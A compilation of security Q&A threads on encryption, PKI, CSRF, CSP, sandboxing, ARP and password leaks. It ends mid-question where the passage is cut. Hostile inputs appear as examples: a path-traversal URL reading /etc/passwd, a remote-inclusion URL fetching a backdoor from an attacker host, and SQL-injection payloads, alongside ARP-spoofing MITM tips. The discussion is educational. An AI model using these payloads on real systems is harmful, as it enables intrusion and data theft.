How secure is 7z encryption? I have a text file in which I store all my bank details.  I compress and encrypt it with 7-Zip using the following parameters:

Compression parameters:

Archive format: 7z
Compression level: Ultra
Compression method: LZMA2
Dictionary size: 64 MB
Solid Block size: 4 GB
Number of CPU threads: 4

Encryption parameters:

Encryption method: AES-256
Encrypt file names: True

The password for the encryption is chosen such that it won't be found in any dictionary and is rather an almost random string (composed of 15-20 upper and lower case letters, numbers, and symbols). I do not store this password anywhere.
Also, the filename of the text file is kept such that no one will be able to tell that the file is related to bank details at all.

Is this secure enough, under the following scenarios?

The attacker takes full control of the system, but does not know that this particular file is of any importance to him.
The attacker is in possession of the file, and is actively trying to decrypt it, knowing that it has the bank details.

7-zip (or any other similar utilities) encryption is designed to protect archived files. So, as long as the tool designers did their job well, you are safe for the second case (somebody getting his hand on the encrypted file and trying to crack it).

However, such utility are not designed to protect you against your first mentioned case (someone getting access to your account data on your machine and/or you accessing the file content regularly). Indeed, someone having taken a full (or even just minimal, no need to escalate privileges) access to your system will see you use this file and will also be able to capture your keystrokes while you type your password. Even worse: an attacker will actually will not even have to bother with this since the file will most probably be present in clear form in your Windows Temp directory.

So, for your first threat, I would definitively recommend you to use a tool designed for this usage, like KeePass which will avoid to store decrypted data in temporary files and will provide a minimum protection when typing the password.


Would logging into Chase bank website be an example of Asymmetric cryptography? Also anyone who is familiar with Outlook, is sending digital signed messages a process of Asymmetric cryptography? Since it uses a public key and requires your Smartcard PIN before you can actually send. It also adds a digital certificate, but I am a little confused.

Your question reveals the lack of some basic conceptual understanding in how cryptography and encryption works.

  Is using digital signatures an examples of using asymmetric
  cryptography?

Yes it is.

Asymmetric encryption means 2 keys are used to encrypt and to decrypt a message. A example of a widely used asymmetric cryptographic algorithm used for encryption of email is RSA.

Digital signatures use asymmetric cryptography to generate a cryptographic hash of the outgoing message to be sent using the sender's private key. The sender's private key is known only to the sender of the email. The receiver of the email uses the cryptographic hash to decrypt the message received using the public key of the sender. If the integrity of the message has been compromised, the resulting message will be different and the signature invalid / corrupted.

The public key of the sender is tied to the sender's identity through the assistance of a third party - A certificate authority - CA. This CA issues a certificate that uniquely identifies the public key as belonging to the sender of the message. The addition of the CA is to ensure that a hacker cannot impersonate the sender by substituting a fraudulent public key in place of the true, correct public key of the sender. An assumption here is that the certificate has not been revoked and listed on the CRL kept and updated by the CA.

The purpose of digital signatures is to guarantee integrity, non - repudiation of the message, and of authenticity of the sender.


What is the difference between local file inclusion (LFI) and remote file inclusion (RFI)? Based on this previous question, it seems like the difference between directory traversal and file inclusion is as follows:

Directory traversal

Improper validation of user input leads to read access of server resource.
Example: http://www.example.com?file=../../etc/passwd

File inclusion

Improper validation of user input leads to the loading of an external resource into the server and execution therein.
Example: http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor

This link, however, describes these concepts using the words local file inclusion and remote file inclusion.

So, is the first example

directory traversal vs. file inclusion

the same as the second example

local file inclusion vs. remote file inclusion

i.e. LFI/RFI is just different terminology for the same thing?

Your confusion stems from your over-broad understanding of directory traversal.

Traversal means one can read from another directory. Not specifically that one can read a file.

LFI is reading a local file, either in the current working directory or, using traversal, a file in another directory.

RFI is including a file from an external source.

It is possible to have an LFI vulnerability without there being a directory traversal vulnerability (files local to the current context). And, technically, it is possible that there can be a traversal vulnerability that does not result in a LFI.


iOS: Sandbox on jailbroken device From my point of view and with my rather poor knowledge of iOS, the principle of a sandbox in iOS is the following:

each app and its data is installed in a private area within the partition, but each app runs under the same user 'mobile'
the sandbox only allows restricted and controlled access to system ressources (i.e. system files)
the sandbox only allows restricted and controlled access to ressources like contacts, sms, mail, internet...
the sandbox prevents an application from attacking another application's data

Are there any important functions of the sandbox that I left out?

I assume that with a jailbroken device, all security functions of the sandbox are obsolete (i.e. an attacker can easily read data from other applications, can access system files etc)?

Your assumption is correct, with one limiting factor: any encrypted content can only be accessed when iOS has been unlocked, even when jailbroken. It's not much of a limit, but there it is.


Does the compiler feature of Closures decrease member variable security? Based on this discussion, closures in C# promote private variables to public variables at compile time.

Suppose a closure was implemented on a Username or Password string.  Would there be any security issue with this at run time?  Is this an issue in any other language?

If so, is there any way I can prevent this (via attributes)?

Despite the visibility promotion, Closures do not present any new security issue.

This is because of the simple reason, that visibility (i.e. private/public) is not a security mechanism in the first place.
Just because you marked your password field as private, doesnt mean it is not accessible. It's not accessible, but only to code that behaves nicely.
It's still accessible easily in code, e.g. via reflection. (Of course, consumers of your class shouldn't do that...)

And that's even without going into things like debugging, memory inspection, etc...

So - as I said, it doesnt affect the level of security. You'd need to protect that Password field, but you'd need to do that anyway.
(Suggestion: store passwords as SecureString instead of strings... )


JWT and CSRF protection workflow I have a custom authentication and authorization scheme based on three JWT tokens - reference (opaque) token, access token and refresh token. Backend sets reference token in a cookie and submits it with every request to the server.

Since, I'm using cookies, I need to prevent CSRF attack. I have written this SO thread and this stormpath article, but I still do not get the workflow, that I should follow to prevent CSRF attack.

My reference token payload looks similar to

{
    "iss": "http://galaxies.com",
    "exp": 1300819380,
    "scopes": ["explorer", "solar-harvester", "seller"],
    "sub": "tom@andromeda.com",
    "jti": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

just instead of xsrfToken property, I'm using a standard jti field. So, my client has this reference token with this jti field, this reference token is submitted to the server with every request, the server can decode this reference token and find by jti value corresponding access token in its cache. Now I wonder if this scheme prevents me from CSRF attacks or should I do some extra steps on the server side and client side to do this?

What I do not really get is why I should set some new X-XSRF-TOKEN header on the server side and what should I do with this header later.

I am in the same situation as you, and here is how I understand the process:

The server sends the JWT token via Set-Cookie ... ; Secure ; HttpOnly. This will prevent Javascript on the client to read the JWT token, and hence it will prevent XSS attacks to steal the JWT token.
The server also sends a XSRF token that the Javascript on the client side can access, either in an additional header, in a client-side readable cookie, or as answer to the JWT token request. The client must then actively add this XSRF token to every request, for example as an additional header. The XSRF token is also part of the JWT token, so the server can verify that both match.

This prevents CSRF attacks, because while the CSRF attacker can cause the cookie with the JWT token to be sent along with a request, he cannot read the XSRF token, and therefore cannot add this to the request.
The refresh token works in the same way.

This does not prevent the scenario where a XSS attack executes requests by including the XSRF token himself. It only prevents an XSS attack from stealing the complete token, and using it somewhere else. However, given that XSS attacks can pretty much do anything client-side Javascript can, this is probably as far as one can go.

Protecting the access JWT token against theft via XSS isn't that important, however protecting the refresh JWT token against theft is extremely important. The access JWT token hopefully has a short expiration time, but a stolen refresh JWT token cannot be revoked, as the token is stateless, so it will grant the attacker unlimited access. One can still change the keys used to sign the JWT token, maken all JWT tokens invalid.

The hwole process also does not protect against any kind of MITM attack, so using https is important.

As the XSRF really can be anything, I don't see why one couldn't use the jti field that is already present. However, the extra effort on the client side to add this information to every request is crucial.


How to specifically whitelist JS libraries which need unsafe-eval Is it possible to specify source list values based on the script src. The RFC mentions it, but I'm not sure about its usage.

For example:

Content-Security-Policy:default-src *; script-src 'unsafe-inline' 'self';
Content-Security-Policy:script-src 'unsafe-inline' 'unsafe-eval' https://maps.googleapis.com/*';

This combination means to disallow unsafe-eval everywhere except the Google Map APIs (which needs that).

If not then, it really means that apps have to remove unsafe-eval for everything just because a service like Google Maps needs it. I'm not sure if nonces can be used for this type of situations.

Unfortunately that is not how it works.

In your example,

Content-Security-Policy:default-src *; script-src 'unsafe-inline' 'self';
Content-Security-Policy:script-src 'unsafe-inline' 'unsafe-eval' https://maps.googleapis.com/*';

'unsafe-eval' https://maps.googleapis.com/*' are both sources. It is not stating that unsafe-eval is allowed on maps.googleapis.com, it is stating that unsafe-eval is allowed everywhere.

However, as your first header only states script-src 'unsafe-inline' 'self' this will effectively remove the 'unsafe-eval' https://maps.googleapis.com/*' from your second directive. This is the same as only specifying unsafe-inline. Each source needs to pass through both policies "unscathed".

Note that you cannot specify a wildcard the way you have. Check here for a clear explanation. You need https://maps.googleapis.com instead.

Nonces cannot be used to solve this because there is no static inline script - eval means it is all determined at run time by the browser.

I would suggest you only output the 'unsafe-eval' https://maps.googleapis.com part of the CSP directive on pages that require Google maps, as part of a single header output to the page.


How does video protection work when someone is recording their screen? I forgot to turn my video recorder off and accidentally recorded my screen when I watched some series on some website. When I re-watched the video a few weeks later, I noticed that the part where the series was played (on full-screen) was a totally plain black screen. I found it weird so I thought it was a bug or something but I discovered it's not. It was apparently some kind of protection to prevent video pirating and the idea just wow-ed me.

I'm a fresh CS student who's taking a lot of courses in security but I have no idea how does that idea work especially because I could see the video but the video recorder couldn't. Can someone explain how that works?

As pointed out by the comments, the reason that this happend is because of my video recorder could recognize that the video being played has digital rights management. For more details on how this technique work, check wikipedia.


Do I need both a CA Certificate and a Server Certificate on a Radius Server The OP in this thread: Why is a CA certificate required for EAP-TLS clients?

said " My RADIUS server uses wifi-server-cert as the SSL certificate, and uses the wifi-client-ca certificate authority for validating client certificates."

Can someone tell me:

!/ Is it necessary (or advantageous) to use both a Server certificate and a CA Certificate on a Radius Server.(or do I have my wires crossed!)

2/ And if so how is it arranged?

At the moment I'm trying to set up an iPad to connect via WPA 2 Enterprise EAP-TLS.

I'm using a Qnap Network Attached Storage unit that has a radius server option. It will accept a certificate and key, plus an intermediate certificate - all in ascii format.

I'm using Openssl via XCA gui to create self signed certificates.

So far the only way I can find to get it to work is to have Root CA on the Radius Server. Client Certificate and key (p.12 Chained) plus Root CA certificate (.cer) in the Apple ios profile for the iPad.

3/ So also is it a security risk to use the root CA on the Radius Server?

The CA certificate is only being used to establish a mutually trusted certificate authority for both the client and server. This allows each to know the other is not a malicious impersonator.

The RADIUS server needs a CA certificate to be able to check all the connecting clients are trusted by the CA. It will also have a separate certificate and private key which it will use when communicating.
This is done by placing the CA certificate and server certificate on the server. The client will present a cert signed by the CA. (Either directly or through intermediate CAs). The server will check the signature to verify this is correct and accept the connection.
Simply leaving the root certificate around isn't a security risk. It is a public key, meant to be shown to outside parties so they can check a CA signature is genuine. However, using the root certificate for communication requires having the private key available. This key is very security sensitive and shouldn't be easily accessed. Using it for a radius server is a major security risk.


Is this vulnerable to Sql Injection? It turns out that I have an application that when I insert a simple quote the following appears to me:

httpStatus":400,"errorCode":"BAD_QUERY_PARAMETER","message":"java.lang.NumberFormatException: For input string: \"'\"","implementationDetails":"com.sun.jersey.api.ParamException$QueryParamException: java.lang.NumberFormatException: For input string: \"'\"\n\tat com.sun.jersey.server.impl.model.parameter.QueryParamInjectableProvider$QueryParamInjectable.getValue(QueryParamInjectableProvider.java:74)

The question I have is; can this parameter be used to perform SQL injection? If so, how can I test if this is the case?

Sure, it seems vulnerable. The backend is expecting there a number and that generated the error. But the symptom of inserting a single quote and generate an error is a good signal, probably it is a sql injection vulnerability.

The first step could be to know what kind of database is. It is supossed you know that... because is your own database, right? :D

I recommend to you to launch some app like sqlmap to explore deeper the vulnerability.

Anyway, you can check the usual. There is an entire list of this. I'll put three of them:

' or '1'='1
a' or 1=1--
' or 0=0--

Good luck.


Why is some meta data not encrypted in Proton Mail? In a different Question, in the first answer is written that some meta data doesn't get encrypted.

  What you shouldn't forget about encrypted e-mail, is that while the message body is properly encrypted, some meta data like the subject, sender or receiver aren't.

What is the reason that Proton Mail doesn't encrypted some meta data?

Proton Mail uses an encryption format called OpenPGP. It is only designed to encrypt the message. Unless the subject is put in the message and the subject field is left blank, the subject will be kept unencrypted. The e-mail sender and receiver fields, on the other hand, need to be unencrypted for proper routing to occur. This is all a limitation in the design of e-mail, a default unencrypted system.


How to test DoS attack by sending unsolicited ARP packets over ethernet? I want to test a system for DoS attack using ARP packets as the system only responds to ARP packets and left all ports are closed.

Can nmap or arping help in this case?

I uploaded an old python script of mine right here.
This piece of code is very basic and clearly not a masterpiece, it just answered my needs few years ago.

I recommend you to look and understand how its done, then build your own tool.

I'm not sure this old lazy script still work, but you can get the idea of how you can use the scapy lib.


MAC address of router changes when i connect to VPN If I connect to my VPN and then run arp -a the MAC address of my router changes to 00:00:00:00:00:02. Is this normal behaviour? What is the reasoning behind this?
Furthermore a MAC address spoofing is only of real concern when there are more than one devices on the network, and they try to become the MITM correct?

When you spin up a VPN tunnel, the VPN tunnel becomes your new primary route.  If the router address remained as your physical router MAC, then you would not be routing traffic through the VPN, and you would not be protected.  The virtual router your VPN sets up is using the synthetic MAC address 00:00:00:00:00:02.  The change you're seeing is the correct and expected behavior when activating a VPN.
And you are correct, MAC spoofing requires an attacking device on the same LAN.  What you are seeing is not MAC spoofing, regardless.


Scammers and private information I don't know if its a right place to ask this question, but I could not find any information regarding this and I believe its something to do with security..

I just received a call from unknown number and polite woman asked me some nonsense about the credits and loans. Of course I started asking her questions like what are you on about? She hanged up.. What I found really strange, that they were referring to me by my name. How do they know my name?? Who is selling my information or how do they get that info in first place?

I phoned them back and another person answered the call - male. I asked how do they get my phone and name, and he referred to me with my name again but not answering the question and talking non-stop absolute nonsense. It was a quick call back and he already knew my name. How???

Most likely they got your name, phone number and even more data from a database that has either been compromised or was sold to the highest bidder.

The reason why you reached a male the second time is probably because they sit in a callcenter and you got another person on the line this time.

I would check where you entered data like your name and phone number to prevent something like that in the future, and maybe report the number to the authorities or relevant agency in your country.

But don't expect for your data to disappear, it will probably be forever in some database. Don't worry about that too much though :)


Can fingerprints read from scanner by a malicious party be used for incrimination? Assume that:

I have submitted my fingerprints to a scanner at an office building for "security clearance" at the gate.
The scanner was feeding the fingerprint data to a malicious third party that installed / modified said scanner/attached computer with the purpose of acquiring fingerprint data.
This third party attempts to reproduce the fingerprint (using a 3-d printer, rubber/silicon molding, etc.
This mold is then used to fake my fingerprints / fool other security devices elsewhere.

Assume the scanner and/or the computer running the scan are compromised.

Is the scenario above feasible, or is it just tinfoil?

It depends on the type of data the sensor returns.

Some sensors parse the image on the device itself and only output interesting points that are actually used by the system to identify you. In that case there is not enough information to recreate a full fingerprint. You may be able to fool the same kind of system with that partial info (assuming the reader you're trying to go through will identify the user based on the same points), but a different system that uses other parts of the fingerprint will fail as you don't have those on your partial fingerprint.

Other sensors output a full bitmap image of the fingerprint, like a picture. In this case yes it can be used to create a fingerprint if the image is intercepted.

But again, why go through all the trouble to compromise a fingerprint sensor if anyone can simply pull your fingerprints from the door handle?


Are Bitcoin Scam Recovery business a scam? I have an acquaintance that has lost USD 10k - 20k  in a Cryptocurrency Investment scam.    I strongly suspect he is about to get involved in what in my mind would be a "Crypto Currency Scam Recovery Scam" - which I posit to be a thing.
Although weary, he is now talking about engaging the services of companies that claim they can recover money from cryptocurrency scammers.   I've not come across these businesses before, but I'm scratching my head as to what they can really do other then chase a credit card company (which won't help, he didn't pay by credit card).   These companies talk a good game, but are very, very light on details as to what they actually do, but https://www.firstoptionrecovery.com/funds-recovery for example claims a success rate of 92%
Has anyone got any knowledge of these types of services, and, short of resources of a 3 letter agency or equivalnet, is there actually a path to recoverying money back (where the funds were not paid via Credit Card and its been longer then a week since the funds were deposited?

Yes, I believe they are called "recovery scams". If you google that, you will get lots of results. Here's an article that talks about such scams. I have come across scammers that promise to recover lost passwords, lost data, etc. so these kinds of "recovery scams" in general can be applied to a variety of subjects. You can usually recognize a scam because of the obscure practices they use, the lack of professionalism, and their unwillingness to get involved in standard procedures.
I took a look at the website of First Option Recovery, and it appears they are based in a virtual office (90 State Street Executive Suites in Albany, New York). They claim they have been mentioned several times in the press, but it appears to be just stuff they have published themselves on websites that let you submit your press releases. They have a YouTube channel and all of their videos have been published over the last 10 months, all of them talk about scams, and they use text-to-speech software for the voice-over (very unprofessional). There are also several reviews on TrustPilot that say they are scammers and will include a few interesting details (for example they will make you send money to the UAE).


What is the most secure way to do OCSP signing without creating validation loops? I'd like to enable the most secure OCSP validation that Windows 2008 SP1 and newer support.

Based on the following information, am I required to implement id-pkix-ocsp-nocheck on my OCSP certificate?
If so, does that mean an OCSP response can be forged, allowing an revoked certificate to go unnoticed by the victim?

  The signature on OCSP responses must follow the following rules to be
  considered valid by a Windows Vista or Windows Server 2008 client:

  For Windows Vista, either the OCSP signing certificate must be issued
  by the same CA as the certificate being verified or the OCSP response
  must be signed by the issuing CA.

  For Windows Vista with Service Pack 1 and Windows Server 2008, the
  OCSP signing certificate may chain up to any trusted root CA as long
  as the certificate chain includes the OCSP Signing EKU extension.

  CryptoAPI will not support independent OCSP signer during revocation
  checking on this OCSP signing certificate chain to avoid circular
  dependency. CryptoAPI will support CRL and delegated OCSP signer only.

  We recommend that you enable the id-pkix-ocsp-nocheck
  (1.3.6.1.5.5.7.48.1.5) extension in the OCSP signing certificate so
  that no revocation checking is performed on the OCSP signing
  certificate. This ensures that a CRL is not downloaded to validate the
  OCSP signing certificate.

(source)

During normal chain validation, you are supposed to check the revocation status of each certificate in the chain. To check the revocation status, you must obtain a CRL or an OCSP response; both types of objects are signed, and, before usage, must be validated. Validation of a CRL or an OCSP response entails verifying a signature, relatively to the public key of the object's issuer, public key which is obtained from... validating another certificate chain. The whole process is recursive and you can end up with validating many certificates in the process.

Of course, recursion has potential for loops, and loops are bad.

Consider a simple path: Root -> SubCA -> EE.

You are validating the path, verified all signatures, and reached a point where you also checked that SubCA is not revoked. Now you are considering the EE certificate. The EE certificate contains an AIA extension which points to an OCSP responder; you talk to that responder, and get an OCSP response. Great ! The OCSP response appears to have been signed directly by SubCA, using its private key (the same private key as the one used to sign the EE certificate). This is good: you have already validated that key, including revocation status, so it suffices to check the signature on the OCSP response, and then you can use it ("using" an OCSP response means looking at its contents and trusting them).

This model above is "situation 2" from section 4.2.2.2 of RFC 2560: the certificate used to validate the OCSP response is the same as the certificate of the CA which issued the target certificate ("SubCA" in our example).

Another model is supposed to be supported, described as "situation 3" from section 4.2.2.2: the OCSP response is signed by a dedicated responder, which has a certificate (let's call it "Resp") which is issued by SubCA. The Resp certificate is embedded in the OCSP response. How do you validate that ? It is easy enough to check the signatures, and also to check that Resp features the specific EKU which marks delegated OCSP responders. But how do you make sure that the Resp certificate itself was not revoked ?

The three possible ways are:

You use a CRL or another OCSP responder which will give you the information. This, of course, makes the process recursive.
Resp is made to include the specific id-pkix-ocsp-nocheck extension, which makes the Resp certificate "unrevokable" (thus you do not need to get its revocation status, since it is unrevoked by definition).
The CA does not care, and includes in Resp an AIA which points to itself as an OCSP responder. Thus, to validate Resp, you must first validate Resp. Face to this chicken-and-egg problem, you weep, then join the CA in its apathy and simply consider that Resp is "probably fine".

Unfortunately, I have encountered the third way in big PKI sponsored by huge corporations or sovereign states who really should know better.

Section 4.2.2.2 of RFC 2560 also hints at a "situation 1" where the OCSP responder is "something else" which the validation engine somehow knows to be safe through some "local configuration" (the expression "local configuration" is RFC-speak to mean "by the magic of the Fairies").

The text you quote means that Windows, up to Vista, knows how to handle situations 2 and 3. From Vista SP1 onwards, it also handles situation 1, with the following twist: the OCSP responder certificate can be "any certificate" but CryptoAPI will require CRL to validate that one. This is a drastic way to avoid validation loops.

Summary: if you are building your PKI, the method which will cause the least trouble is to use the CA key for signing OCSP responses. If you really need to use a distinct key (e.g. the CA is supposed to be offline, but the OCSP responder, by nature, is online), then make the CA issue a dedicated certificate for the OCSP responder. This dedicated responder certificate shall contain the id-kp-OCSPSigning EKU and the id-pkix-ocsp-nocheck extension. Since an unrevokable certificate can be viewed as a gross breach of policy, the recommended way is to make it very short-lived: set the responder certificate to be valid for a fortnight or so, and issue a new one very week.

As others have noted, many implementations do not check revocation status for "extra" certificates (certificates not in the main chain, but which are used to verify revocation objects like CRL or OCSP responses), which is sloppy but often made necessary (in a commercial way) to cope with big PKI who do not do things properly. It is your moral duty to do better than that (as I expose above) so as to bring us closer to the point where PKI will actually, you know, work and provide security.


Running proprietary software on Linux safely As a summer project, I'm looking to prevent any piece of proprietary software like many games I run from have access to my personal files. After looking a lot at sandboxing, I've decided that anything like chroot is far too complicated for me to use, as simplicity=security. I've created a user all these applications will be run as, and ensured only members of my personal account's group, which this user isn't in, can access my documents. Things seem at a surface level like they're working (especially after I added it to the video group), but I thought it prudent to ask what security issues still exist.

Can an application steal control of Control-Alt-Fn[1-12]?

Can an application read what's happening on another x server run by the other user?

Does it matter if my account for proprietary software has a weak password?
Since my /home/$USER folder itself gives no permissions to anyone not in my group or me, it doesn't matter what permissions the files in there have, does it? The file names inside can't be read, can they?
Wine doesn't do any funky system-level things that would be a vulnerability, does it?
Are there any vulnerabilities through the /tmp directory?
Are there any other vulnerabilities, that any application running in that account could use to get access to my documents?
What are the good practices for this sort of thing?

I'm running debian testing. Any advice would be appreciated.

Chroot wouldn't give you any security anyway, it's only designed for very specific use cases. See Debian unstable chroot security issues and chroot "jail" - what is it and how do I use it?.

Any application that has access to the X server can do a lot of things. It can snoop on other applications that display windows on the same server. It can log key presses. It can rebind keys. It can inject key presses into other applications. It has access to the clipboard. If you run the untrusted applications on an X server where you never run any application that runs as your ordinary user, this is not a concern, except that the application can remove your ability to switch to another console.

Wine itself doesn't run with elevated privileges. The X server does (it runs as root), so if there's a vulnerability in it, you've lost. There's an effort going on to avoid running the X server as root, but that involves moving parts of the code into the kernel driver which runs with the utmost privilege level. You always need to trust your kernel.

Any application can access files in /tmp and /var/tmp. If this is a concern, don't use these directories for your own files. It's very easy to set up per-user temporary directories: install the libpam-tmpdir package. Applications can also access other data that you may consider sensitive, such as the list of users on your system, the list of programs you have installed, etc. Data underneath a directory that's not readable (more precisely, has no execute permission) by the application cannot be accessed by the application.

If the applications are not too demanding (in particular not too graphics-intensive), run them in a dedicated OS installation in a virtual machine. This is the most isolation you can get short of dedicated hardware. Deny that virtual machine network access, and don't put any sensitive data in it — this gives you double protection against privacy violations.


RDP to Azure VMs through public IP versus VPN I have two options for remoting into our Azure VMs: RDP to public IP or RDP through VPN.

I'm certain using a VPN is 'more' secure. But my question is: Is it still reasonably secure to have a hole in the firewall for our local office's IP and RDP directly w/o VPN?

It's just way, way more convenient to be able to just double click an RDP icon and not have to turn off another VPN I already have to use for another hosting environment so that I can turn on the Azure VPN every time I want to log on to an Azure VM. But I also don't want to be doing something that's stupidly insecure.

VPN with 2FA authentication is the way to go.

First of all you can't do 2FA with RDP, meaning you increase security risk significantly.

RDP has had several vulnerabilities, a few of the most recent 'BlueKeep' CVE-2019-1181, CVE-2019-1182, CVE-2019-0708.

This is the scenario where convenience shouldn't win.


MITM is impossibile when the gateway's arp entry is set to static? As stated in the title.

In my lab I am trying to arpspoof a so called "victim pc" that is using Windows 7.

I do arp spoofing with arpspoof, but once run arp -a on the victim I see that the gateway entry is not changed. Maybe because the entry associated with the gateway is set to static.

In a situation like this, there is no way to arpspoof the victim?

No. It is still possible at least so:

if the MAC of the gateway is also spoofed and the attacker finds a way to somehow destroy the original communication channel to the gateway
if the attacker finds a way to corrupt the gateway (f.e. somehow stoling the admin password of a cheap, embedded router)
if the attacker sits behind your gateway (f.e. by doing a little rewiring)

But the most trivial MITM solution (localnet gw spoof from a cracked client machine) made really impossible.


Browsers and SSLv3 End-of-Life Is there a point in time at which browsers will refuse to connect to web servers that support SSLv3 in addition to TLS 1.0/1.1/1.2? Will they produce warnings?

I assume the browser would be content using TLS 1.2 but am concerned that leaving SSLv3 (for the time being) might cause a poor user experience.

Browsers will use the highest supported protocol negotiated between it and the server, even if SSLv3 is enabled.

Newer browsers have SSL disabled, so will not be vulnerable to downgrade attacks.

Also see here TLS/SSL support history of web browsers.


Does adding multiple recipients to an encrypted message decrease security? Let's say you want to send the same GPG/OpenPGP encrypted message to 50+ recipients. Assuming everyone you send to is trusted, and there is no risk of any recipient leaking their secret key, is sending a single message to multiple recipients less secure from an "ability to break" perspective?

Since GPG uses hybrid encryption, the message gets encrypted symmetrically with a key (the session key) that is encrypted asymmetrically.

Is the session key easier to figure out if you have 50+ asymmetrically encrypted strings that you know will all result in the exact same string when decrypted? (Though I realize that solving that session key would only compromise that specific message, and not any past or future messages from the sender or to any of the recipients.)

Would it then be more secure sending that specific message in batches of 5 or 10 recipients at a time? (or if you are paranoid, one recipient at a time) Even if the messages are identical, I would assume the session key is also generated with a timestamp or at least some form of non-deterministic factor in addition to the message hash. As a result each individual "5 recipient" message would end up with a different session key, and you would only have 5 encrypted versions of that key available.

Cryptographically, the scheme you describe is not increasing your risk.  From an overall security standpoint, adding the additional recipients creates more points where things can go wrong.

Each of the recipients represents an additional endpoint where the message must be secured.  You may trust each of the people, but can you equally trust all of their computers to be secure?  Having fifty recipients means there are at least 51 attack surfaces involved.
Adding multiple encrypted session keys provides a hiding ground for a rogue encrypted session key.  A human may notice if one key was suddenly replaced with two keys, but might not notice if a fifty-first key was added to a list of fifty keys.


Is there any danger to downloading a malware binary, but not executing it? I recently downloaded an ELF file which was discovered from an exploit attempt (wget to download this binary failed due to outgoing traffic being blocked if it isn't whitelisted). I downloaded it into a VM in order to run some basic analysis on it and uploaded it to virustotal.

My question is, absent some sort of terrible vulnerability in how curl downloads files or how analysis tools handle the files, is there any danger to a binary simply being on your system, without it ever being executed?

Malware sitting quiescently on your system is not a danger in the sense that it can spontaneously do something. The risk is more along the lines of, "Don't Push The RED Button!"

The fact that it's there is an opportunity for mistakes. It could be a manual mistake of you inadvertently running it, or another program (like a Virus Scanner) finding it and taking some undesired action like auto reporting to superiors or technical response teams.

Malware can be handled safely but it needs to be handled carefully. Assume that it may be accidentally run and consider your response recovery. Purge the VM or hope you can eradicate it from your main system.


Provider can access my local network? I recently talked with my ISP about many things, basically related to my (little) company security, this guy is a networking guru to me, but he did a strange thing that worries me. Basically I have a web development machine located in my LAN, that has no port forwarding (is not reachable from internet), but he could access a web server on it from outside of router's WAN interface somehow and wouldn't tell me how he did it. He just says it's normal for him, being my provider, to be able to port scan and access my computer's services (wtf?!?). He also said that there should be some rule I should add to my routing table that should prevent it, but he "doesn't remember" it's contents. Obviously guy likes to pry into others' matters, and while we're kind of buddies, I REALLY don't like it.

I have an old linux router-in-a-box there, based on iptables 1.2-something, and here are it's scripts (I cut out any port forwarding and deny rules for brevity). These were standard ones.

Chain INPUT (policy ACCEPT)
num  target     prot opt source               destination
1    DROP       tcp  --  anywhere             anywhere           tcp
Chain FORWARD (policy DROP)
num  target     prot opt source               destination
1    TCPMSS     tcp  --  anywhere             anywhere           tcp flags:SYN,RST/SYN     TCPMSS clamp to PMTU
//here follows a bunch of port forwarding rules and DENY rules I set,
//and line 60 looks kind of out of place, given line 61
60   ACCEPT     all  --  anywhere             anywhere
61   ACCEPT     all  --  anywhere             anywhere           state RELATED,ESTABLISHED
Chain OUTPUT (policy ACCEPT)
num  target     prot opt source               destination

So the question is threefold:

how an ISP could have accessed port 80 on my machine without me forwarding it on the router?
how can I prevent him or anyone else in that network from doing that
please explain why there's line 60 and after it there's line 61, because from what I understand, if anything is allowed at line 60 then packets would already be allowed to pass without even reaching line 61

EDIT:

This is my setup, I think it's pretty standard:

ISP network -> their WiFi bridge -> Our router -> Our Network (with my DEV machine)

ISP should only be able to portscan our router. All they gave me was a plug to their WiFi bridge that's on our roof and an IP, router was bought separately.

I think that you have the answer to your question in the firewall rules.  From your network diagram it's reasonable to expect that your ISP has access to the Wi-Fi bridge that they provide, so if a host is accessible from there, it's likely he can access it.

In your rules, as you mention rule 60 seems out of place.  Rule 61 looks like a standard rule necessary to allow traffic relating to outbound connections from the internal network, but rule 60 seems from the information you've given to have all traffic forwarded across your router.

you're also right to say that usually firewall match one rule then stop matching on that chain, so the first accept rule would be hit and the second one 61 wouldn't be hit.

To test this what I'd do if I was you would be to connected a machine to the "outside" interface of your router, give it an IP address in whatever subnet is used there (assuming there's no DHCP in place) and then try connecting to a machine on your internal network.  If you can then, it looks likely that that rule "60" is the issue.

However be very careful removing the rule as removing accept rules on production firewalls can have unexpected consequences (i.e. it was allowing traffic you actually want and when you remove it, the traffic stops flowing).


Should I get an antivirus for Linux Desktop On a non-international forum I was reading a discussion about using an Antivirus on Linux Desktops. There are two opinions:

1. Anti-Virus is best-practise regardless of the OS used
2. Anti-Virus on Linux does more harm than good

Now most of the answers there are primary opinion based. However one argument that keeps getting used is that there is a real danger in having an AV on Linux because it has to run as root.
I personally do not really see why this in itself is such a big security risk, assuming you install a 'legit' antivirus. I am having trouble seperating the opinions with 'facts' about the risks of Linux AV.

What are the real risks of installing an AV on a Linux Desktop?

AV pros:

Can detect old viruses
Sometimes can detect recent viruses (depending on vendor detection/update time)
Sometimes can proactively detect viruses and alert to a suspicious activity

AV cons:

Do contain bugs (all software does) and run with high privilege level, sometimes exploitable.
Usually consist of megabytes of closed-source, really complex (parsers for tens of file formats, process monitoring, etc...) code that you run as root.
Demand trust in vendor, vendor's internal security architecture, vendor-generated SSL certificate for https web AV functionality, ...
Slow down your system
Do close to nothing against qualified attacker or targeted attack.

I tried to be objective, but my bias is clear. AV can protect against CoolPhoto.jpg.exe email attachments, but if you are advanced enough to run Linux on the desktop then you do not need that protection.


How can passwords be stolen from Yahoo? I always understood that servers don't actually store user passwords. Instead, they store hashes of passwords and then they validate the user input by applying the hash function, then compare the hashed result to the hash value stored locally at the server. Without receiving a password and then applying this hash-and-compare operation, a user doesn't get access.

If this is the case, how can thousands of Yahoo account passwords be stolen, as reported recently?

If this is not the case (as to how Yahoo password authentication is done), then how is it done? Do they really keep the actual passwords on hand? Is this common practice?

The attackers exploited a database weakness which caused the database to accidentally dump a large batch of username*||hash (and possibly salt) records.

The hashes were then brute-forced offline, revealing all the weaker passwords like "toto24" and "123456" or "mypassword", but not the strong ones. This compromised a really large fraction of the accounts, since most people have crap passwords. And often, even just knowing the username is enough, as the person might have signed up with the same username at a website with even weaker security - but here's the interesting part: he also signed up with the same password. Game over!

Yahoo never had the plaintext passwords at hand, although they could have cracked the weak accounts as well if they really wanted to, but they just have no incentive to do that.

*In the case of Yahoo, username = email.


Should you have full account access when you forget your password? Imagine the following scenario:

I go to login to MyApp.com, but realized that I forgot my password.
I request a new password sent to my email.
The email arrives with a link to change the password (but no password is sent).
